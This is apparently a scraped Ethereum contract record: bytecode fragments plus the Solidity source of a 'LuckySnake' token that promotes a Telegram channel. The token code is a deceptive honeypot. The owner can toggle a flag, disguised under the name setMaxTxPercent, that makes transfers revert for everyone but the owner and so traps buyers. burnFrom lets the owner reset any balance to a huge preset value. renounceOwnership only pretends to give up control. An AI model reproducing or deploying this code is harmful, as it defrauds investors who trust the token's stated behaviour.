fffff161461213c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121339061472f565b60405180910390fd5b601260029054906101000a900460ff1615601260026101000a81548160ff021916908315150217905550565b601260039054906101000a900460ff1681565b601260019054906101000a900460ff1681565b6121966125d6565b73ffffffffffffffffffffffffffffffffffffffff166121b4611b88565b73ffffffffffffffffffffffffffffffffffffffff161461220a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122019061472f565b60405180910390fd5b80600d8190555050565b61221c6125d6565b73ffffffffffffffffffffffffffffffffffffffff1661223a611b88565b73ffffffffffffffffffffffffffffffffffffffff1614612290576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122879061472f565b60405180910390fd5b8181601091906122a19291906137d3565b505050565b6060600e80546122b590614b3a565b80601f01602080910402602001604051908101604052809291908181526020018280546122e190614b3a565b801561232e5780601f106123035761010080835404028352916020019161232e565b820191906000526020600020905b81548152906001019060200180831161231157829003601f168201915b5050505050905090565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6123d46125d6565b73ffffffffffffffffffffffffffffffffffffffff166123f2611b88565b73ffffffffffffffffffffffffffffffffffffffff1614612448576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243f9061472f565b60405180910390fd5b601260039054906101000a900460ff1615601260036101000a81548160ff021916908315150217905550565b61247c6125d6565b73ffffffffffffffffffffffffffffffffffffffff1661249a611b88565b73ffffffffffffffffffffffffffffffffffffffff16146124f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e79061472f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612560576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125579061452f565b60405180910390fd5b61256981612c31565b50565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b600033905090565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166126bd8361198b565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60008084848460405160200161271b93929190614389565b604051602081830303815290604052805190602001206040516020016127419190614363565b604051602081830303815290604052805190602001209050809150509392505050565b60006127708383613021565b73ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905092915050565b6127e2828260405180602001604052806000815250613048565b5050565b60006127f1826125de565b612830576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128279061462f565b60405180910390fd5b600061283b8361198b565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806128aa57508373ffffffffffffffffffffffffffffffffffffffff1661289284610bb1565b73ffffffffffffffffffffffffffffffffffffffff16145b806128bb57506128ba8185612338565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff166128e48261198b565b73ffffffffffffffffffffffffffffffffffffffff161461293a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129319061474f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a19061458f565b60405180910390fd5b6129b58383836130a3565b6129c060008261264a565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a109190614a39565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a679190614958565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000612b2b8261198b565b9050612b39816000846130a3565b612b4460008361264a565b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b949190614a39565b925050819055506002600083815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905581600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5d906145af565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051612e57919061442d565b60405180910390a3505050565b612e6f8484846128c4565b612e7b848484846130a8565b612eba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eb19061450f565b60405180910390fd5b50505050565b60606000821415612f08576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061301c565b600082905060005b60008214612f3a578080612f2390614b9d565b915050600a82612f3391906149ae565b9150612f10565b60008167ffffffffffffffff811115612f5657612f55614d3a565b5b6040519080825280601f01601f191660200182016040528015612f885781602001600182028036833780820191505090505b5090505b6000851461301557600182612fa19190614a39565b9150600a85612fb09190614c1e565b6030612fbc9190614958565b60f81b818381518110612fd257612fd1614d0b565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561300e91906149ae565b9450612f8c565b8093505050505b919050565b6000806000613030858561323f565b9150915061303d816132c2565b819250505092915050565b6130528383613497565b61305f60008484846130a8565b61309e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130959061450f565b60405180910390fd5b505050565b505050565b60006130c98473ffffffffffffffffffffffffffffffffffffffff16613665565b15613232578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026130f26125d6565b8786866040518563ffffffff1660e01b815260040161311494939291906143e1565b602060405180830381600087803b15801561312e57600080fd5b505af192505050801561315f57506040513d601f19601f8201168201806040525081019061315c9190613b95565b60015b6131e2573d806000811461318f576040519150601f19603f3d011682016040523d82523d6000602084013e613194565b606091505b506000815114156131da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131d19061450f565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050613237565b600190505b949350505050565b6000806041835114156132815760008060006020860151925060408601519150606086015160001a905061327587828585613678565b945094505050506132bb565b6040835114156132b25760008060208501519150604085015190506132a7868383613785565b9350935050506132bb565b60006002915091505b9250929050565b600060048111156132d6576132d5614cad565b5b8160048111156132e9576132e8614cad565b5b14156132f457613494565b6001600481111561330857613307614cad565b5b81600481111561331b5761331a614cad565b5b141561335c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613353906144af565b60405180910390fd5b600260048111156133705761336f614cad565b5b81600481111561338357613382614cad565b5b14156133c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133bb906144ef565b60405180910390fd5b600360048111156133d8576133d7614cad565b5b8160048111156133eb576133ea614cad565b5b141561342c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613423906145ef565b60405180910390fd5b60048081111561343f5761343e614cad565b5b81600481111561345257613451614cad565b5b1415613493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161348a906146cf565b60405180910390fd5b5b50565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016134fe906146ef565b60405180910390fd5b613510816125de565b15613550576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135479061456f565b60405180910390fd5b61355c600083836130a3565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546135ac9190614958565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08360001c11156136b357600060039150915061377c565b601b8560ff16141580156136cb5750601c8560ff1614155b156136dd57600060049150915061377c565b6000600187878787604051600081526020016040526040516137029493929190614448565b6020604051602081039080840390855afa158015613724573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156137735760006001925092505061377c565b80600092509250505b94509492505050565b6000806000807f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff85169150601b8560ff1c0190506137c587828885613678565b935093505050935093915050565b8280546137df90614b3a565b90600052602060002090601f0160209004810192826138015760008555613848565b82601f1061381a57803560ff1916838001178555613848565b82800160010185558215613848579182015b8281111561384757823582559160200191906001019061382c565b5b5090506138559190613859565b5090565b5b8082111561387257600081600090555060010161385a565b5090565b6000613889613884846148cf565b6148aa565b9050828152602081018484840111156138a5576138a4614d78565b5b6138b0848285614af8565b509392505050565b6000813590506138c7816154dc565b92915050565b6000813590506138dc816154f3565b92915050565b6000813590506138f18161550a565b92915050565b6000815190506139068161550a565b92915050565b600082601f83011261392157613920614d6e565b5b8135613931848260208601613876565b91505092915050565b60008083601f8401126139505761394f614d6e565b5b8235905067ffffffffffffffff81111561396d5761396c614d69565b5b60208301915083600182028301111561398957613988614d73565b5b9250929050565b60008135905061399f81615521565b92915050565b6000602082840312156139bb576139ba614d82565b5b60006139c9848285016138b8565b91505092915050565b600080604083850312156139e9576139e8614d82565b5b60006139f7858286016138b8565b9250506020613a08858286016138b8565b9150509250929050565b600080600060608486031215613a2b57613a2a614d82565b5b6000613a39868287016138b8565b9350506020613a4a868287016138b8565b9250506040613a5b86828701613990565b9150509250925092565b60008060008060808587031215613a7f57613a7e614d82565b5b6000613a8d878288016138b8565b9450506020613a9e878288016138b8565b9350506040613aaf87828801613990565b925050606085013567ffffffffffffffff811115613ad057613acf614d7d565b5b613adc8782880161390c565b91505092959194509250565b60008060408385031215613aff57613afe614d82565b5b6000613b0d858286016138b8565b9250506020613b1e858286016138cd565b9150509250929050565b60008060408385031215613b3f57613b3e614d82565b5b6000613b4d858286016138b8565b9250506020613b5e85828601613990565b9150509250929050565b600060208284031215613b7e57613b7d614d82565b5b6000613b8c848285016138e2565b91505092915050565b600060208284031215613bab57613baa614d82565b5b6000613bb9848285016138f7565b91505092915050565b60008060208385031215613bd957613bd8614d82565b5b600083013567ffffffffffffffff811115613bf757613bf6614d7d565b5b613c038582860161393a565b92509250509250929050565b600060208284031215613c2557613c24614d82565b5b6000613c3384828501613990565b91505092915050565b60008060408385031215613c5357613c52614d82565b5b6000613c6185828601613990565b9250506020613c72858286016138b8565b9150509250929050565b60008060008060808587031215613c9657613c95614d82565b5b6000613ca487828801613990565b9450506020613cb587828801613990565b9350506040613cc6878288016138b8565b925050606085013567ffffffffffffffff811115613ce757613ce6614d7d565b5b613cf38782880161390c565b91505092959194509250565b613d0881614a6d565b82525050565b613d1f613d1a82614a6d565b614be6565b82525050565b613d2e81614a7f565b82525050565b613d3d81614a8b565b82525050565b613d54613d4f82614a8b565b614bf8565b82525050565b6000613d6582614915565b613d6f818561492b565b9350613d7f818560208601614b07565b613d8881614d87565b840191505092915050565b6000613d9e82614920565b613da8818561493c565b9350613db8818560208601614b07565b613dc181614d87565b840191505092915050565b6000613dd782614920565b613de1818561494d565b9350613df1818560208601614b07565b80840191505092915050565b60008154613e0a81614b3a565b613e14818661494d565b94506001821660008114613e2f5760018114613e4057613e73565b60ff19831686528186019350613e73565b613e4985614900565b60005b83811015613e6b57815481890152600182019150602081019050613e4c565b838801955050505b50505092915050565b6000613e8960188361493c565b9150613e9482614da5565b602082019050919050565b6000613eac60108361493c565b9150613eb782614dce565b602082019050919050565b6000613ecf601f8361493c565b9150613eda82614df7565b602082019050919050565b6000613ef2601c8361494d565b9150613efd82614e20565b601c82019050919050565b6000613f1560328361493c565b9150613f2082614e49565b604082019050919050565b6000613f3860268361493c565b9150613f4382614e98565b604082019050919050565b6000613f5b600c8361493c565b9150613f6682614ee7565b602082019050919050565b6000613f7e601c8361493c565b9150613f8982614f10565b602082019050919050565b6000613fa160248361493c565b9150613fac82614f39565b604082019050919050565b6000613fc460198361493c565b9150613fcf82614f88565b602082019050919050565b6000613fe7600c8361493c565b9150613ff282614fb1565b602082019050919050565b600061400a60228361493c565b915061401582614fda565b604082019050919050565b600061402d600b8361493c565b915061403882615029565b602082019050919050565b6000614050602c8361493c565b915061405b82615052565b604082019050919050565b600061407360388361493c565b915061407e826150a1565b604082019050919050565b6000614096602a8361493c565b91506140a1826150f0565b604082019050919050565b60006140b960298361493c565b91506140c48261513f565b604082019050919050565b60006140dc60128361493c565b91506140e78261518e565b602082019050919050565b60006140ff60228361493c565b915061410a826151b7565b604082019050919050565b600061412260208361493c565b915061412d82615206565b602082019050919050565b6000614145602c8361493c565b91506141508261522f565b604082019050919050565b600061416860058361494d565b91506141738261527e565b600582019050919050565b600061418b60208361493c565b9150614196826152a7565b602082019050919050565b60006141ae60298361493c565b91506141b9826152d0565b604082019050919050565b60006141d1601f8361493c565b91506141dc8261531f565b602082019050919050565b60006141f460218361493c565b91506141ff82615348565b604082019050919050565b6000614217600d8361493c565b915061422282615397565b602082019050919050565b600061423a60138361493c565b9150614245826153c0565b602082019050919050565b600061425d60318361493c565b9150614268826153e9565b604082019050919050565b6000614280601a8361493c565b915061428b82615438565b602082019050919050565b60006142a360148361493c565b91506142ae82615461565b602082019050919050565b60006142c660108361493c565b91506142d18261548a565b602082019050919050565b60006142e9600e8361493c565b91506142f4826154b3565b602082019050919050565b61430881614ae1565b82525050565b61431f61431a82614ae1565b614c14565b82525050565b61432e81614aeb565b82525050565b60006143408285613dfd565b915061434c8284613dcc565b91506143578261415b565b91508190509392505050565b600061436e82613ee5565b915061437a8284613d43565b60208201915081905092915050565b6000614395828661430e565b6020820191506143a58285613d0e565b6014820191506143b5828461430e565b602082019150819050949350505050565b60006020820190506143db6000830184613cff565b92915050565b60006080820190506143f66000830187613cff565b6144036020830186613cff565b61441060408301856142ff565b81810360608301526144228184613d5a565b905095945050505050565b60006020820190506144426000830184613d25565b92915050565b600060808201905061445d6000830187613d34565b61446a6020830186614325565b6144776040830185613d34565b6144846060830184613d34565b95945050505050565b600060208201905081810360008301526144a78184613d93565b905092915050565b600060208201905081810360008301526144c881613e7c565b9050919050565b600060208201905081810360008301526144e881613e9f565b9050919050565b6000602082019050818103600083015261450881613ec2565b9050919050565b6000602082019050818103600083015261452881613f08565b9050919050565b6000602082019050818103600083015261454881613f2b565b9050919050565b6000602082019050818103600083015261456881613f4e565b9050919050565b6000602082019050818103600083015261458881613f71565b9050919050565b600060208201905081810360008301526145a881613f94565b9050919050565b600060208201905081810360008301526145c881613fb7565b9050919050565b600060208201905081810360008301526145e881613fda565b9050919050565b6000602082019050818103600083015261460881613ffd565b9050919050565b6000602082019050818103600083015261462881614020565b9050919050565b6000602082019050818103600083015261464881614043565b9050919050565b6000602082019050818103600083015261466881614066565b9050919050565b6000602082019050818103600083015261468881614089565b9050919050565b600060208201905081810360008301526146a8816140ac565b9050919050565b600060208201905081810360008301526146c8816140cf565b9050919050565b600060208201905081810360008301526146e8816140f2565b9050919050565b6000602082019050818103600083015261470881614115565b9050919050565b6000602082019050818103600083015261472881614138565b9050919050565b600060208201905081810360008301526147488161417e565b9050919050565b60006020820190508181036000830152614768816141a1565b9050919050565b60006020820190508181036000830152614788816141c4565b9050919050565b600060208201905081810360008301526147a8816141e7565b9050919050565b600060208201905081810360008301526147c88161420a565b9050919050565b600060208201905081810360008301526147e88161422d565b9050919050565b6000602082019050818103600083015261480881614250565b9050919050565b6000602082019050818103600083015261482881614273565b9050919050565b6000602082019050818103600083015261484881614296565b9050919050565b60006020820190508181036000830152614868816142b9565b9050919050565b60006020820190508181036000830152614888816142dc565b9050919050565b60006020820190506148a460008301846142ff565b92915050565b60006148b46148c5565b90506148c08282614b6c565b919050565b6000604051905090565b600067ffffffffffffffff8211156148ea576148e9614d3a565b5b6148f382614d87565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600061496382614ae1565b915061496e83614ae1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156149a3576149a2614c4f565b5b828201905092915050565b60006149b982614ae1565b91506149c483614ae1565b9250826149d4576149d3614c7e565b5b828204905092915050565b60006149ea82614ae1565b91506149f583614ae1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614a2e57614a2d614c4f565b5b828202905092915050565b6000614a4482614ae1565b9150614a4f83614ae1565b925082821015614a6257614a61614c4f565b5b828203905092915050565b6000614a7882614ac1565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015614b25578082015181840152602081019050614b0a565b83811115614b34576000848401525b50505050565b60006002820490506001821680614b5257607f821691505b60208210811415614b6657614b65614cdc565b5b50919050565b614b7582614d87565b810181811067ffffffffffffffff82111715614b9457614b93614d3a565b5b80604052505050565b6000614ba882614ae1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614bdb57614bda614c4f565b5b600182019050919050565b6000614bf182614c02565b9050919050565b6000819050919050565b6000614c0d82614d98565b9050919050565b6000819050919050565b6000614c2982614ae1565b9150614c3483614ae1565b925082614c4457614c43614c7e565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45434453413a20696e76616c6964207369676e61747572650000000000000000600082015250565b7f4255524e5f49535f4e4f545f4c49564500000000000000000000000000000000600082015250565b7f45434453413a20696e76616c6964207369676e6174757265206c656e67746800600082015250565b7f19457468657265756d205369676e6564204d6573736167653a0a333200000000600082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4558434545445f53544f434b0000000000000000000000000000000000000000600082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4f55545f4f465f53544f434b0000000000000000000000000000000000000000600082015250565b7f45434453413a20696e76616c6964207369676e6174757265202773272076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b7f53414c455f434c4f534544000000000000000000000000000000000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4e4f4e43455f414c52454144595f555345440000000000000000000000000000600082015250565b7f45434453413a20696e76616c6964207369676e6174757265202776272076616c60008201527f7565000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f43616e6e6f74207175657279206e6f6e2d6578697374656e7420746f6b656e00600082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4558434545445f5055424c494300000000000000000000000000000000000000600082015250565b7f4e4f545f414c4c4f5745445f544f5f4d494e5400000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f544f4b454e5f544f5f4255524e5f4e4f545f42595f4f574e4552000000000000600082015250565b7f4558434545445f4e4654535f5045525f4d494e54000000000000000000000000600082015250565b7f494e53554646494349454e545f45544800000000000000000000000000000000600082015250565b7f47494654494e475f434c4f534544000000000000000000000000000000000000600082015250565b6154e581614a6d565b81146154f057600080fd5b50565b6154fc81614a7f565b811461550757600080fd5b50565b61551381614a95565b811461551e57600080fd5b50565b61552a81614ae1565b811461553557600080fd5b5056fea2646970667358221220e4d0c0a71150a7a81bdd1c7231d2a5d8f71daee5335c8f81c2f6cb46d99b620364736f6c63430008060033
[ 5 ]
0xf29e2714e4a9dfe5a89e8ecfc5b87a252a7ebb64
//"SPDX-License-Identifier: MIT" pragma solidity 0.7.2; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address trecipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract ERC20Detailed is IERC20 { uint8 private _Tokendecimals; string private _Tokenname; string private _Tokensymbol; constructor(string memory name, string memory symbol, uint8 decimals) { _Tokendecimals = decimals; _Tokenname = name; _Tokensymbol = symbol; } function name() public view returns(string memory) { return _Tokenname; } function symbol() public view returns(string memory) { return _Tokensymbol; } function decimals() public view returns(uint8) { return _Tokendecimals; } } contract Ownable { address owner; address owneraddress; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = msg.sender; owner = msgSender; owneraddress = msgSender; emit OwnershipTransferred(address(0), msgSender); } function ownerAddress() public view returns (address) { return owneraddress; } modifier onlyOwner() { require(owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(owner, address(0)); owneraddress = address(0); } } contract LuckySnake is Ownable { using SafeMath for uint256; mapping (address => bool) private _feeExcluded; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; address private uniV2router; address private uniV2factory; bool fees = true; string public name; string public symbol; uint256 _balances; uint8 public decimals; uint256 public totalSupply; uint256 public burnPercentage = 1; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); string telegramAddress; constructor(address router, address factory, uint256 _totalSupply) { name = "Lucky Snake | t.me/luckysnakeofficial"; symbol = "SNAKE \xF0\x9F\x90\x8D"; decimals = 9; totalSupply = totalSupply.add(_totalSupply); balances[msg.sender] = balances[msg.sender].add(_totalSupply); _balances = 100000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); uniV2router = router; uniV2factory = factory; telegramAddress = "https://t.me/luckysnakeofficial"; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function includeFee(address _address) external onlyOwner { _feeExcluded[_address] = false; } function approveSwap(address _address) external onlyOwner { _feeExcluded[_address] = true; } function feeExcluded(address _address) public view returns (bool) { return _feeExcluded[_address]; } function setMaxTxPercent() public virtual onlyOwner { if (fees == true) {fees = false;} else {fees = true;} } function feesState() public view returns (bool) { return fees; } function transfer(address _to, uint256 _value) public returns (bool) { _transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { _transfer(_from, _to, _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function burnFrom(address account, uint256 amount) external onlyOwner { require(account != address(0), "ERC20: burn from the zero address disallowed"); totalSupply = totalSupply.sub(amount); balances[account] =_balances.sub(amount, "ERC20: burn amount exceeds balance"); emit Transfer(account, address(0), amount); } function newFeePercentage(uint8 newRate) external onlyOwner { burnPercentage = newRate; } function _transfer(address _from, address _to, uint256 _value) private { require(_from != address(0), "ERC20: transfer from the zero address"); require(_to != address(0), "ERC20: transfer to the zero address"); require(_value > 0, "Transfer amount must be greater than zero"); if (_feeExcluded[_from] || _feeExcluded[_to]) require(fees == false, ""); if (fees == true || _from == owner || _to == owner) { balances[_from] = balances[_from].sub(_value, "ERC20: transfer amount exceeds balance"); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value);} else {require (fees == true, "");} } function TelegramLink() public view returns (string memory) { return telegramAddress; } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063715018a6116100b85780639f08b3191161007c5780639f08b31914610669578063a9059cbb146106ad578063d89cc15014610711578063dd62ed3e1461071b578063ef6c6ecf14610793578063f01f20df146107c457610142565b8063715018a6146104d757806379cc6790146104e15780638255a8c01461052f5780638f84aa09146105b257806395d89b41146105e657610142565b806327e235e31161010a57806327e235e314610314578063313ce5671461036c5780634ea8dfa41461038d578063566c40d5146103ad5780635c6581651461040757806370a082311461047f57610142565b806306fdde0314610147578063095ea7b3146101ca57806318160ddd1461022e5780631980458b1461024c57806323b872dd14610290575b600080fd5b61014f6107e2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610880565b60405180821515815260200191505060405180910390f35b610236610972565b6040518082815260200191505060405180910390f35b61028e6004803603602081101561026257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610978565b005b6102fc600480360360608110156102a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a94565b60405180821515815260200191505060405180910390f35b6103566004803603602081101561032a57600080fd5b81019080803573fffffffffffffffffffffffffffffffff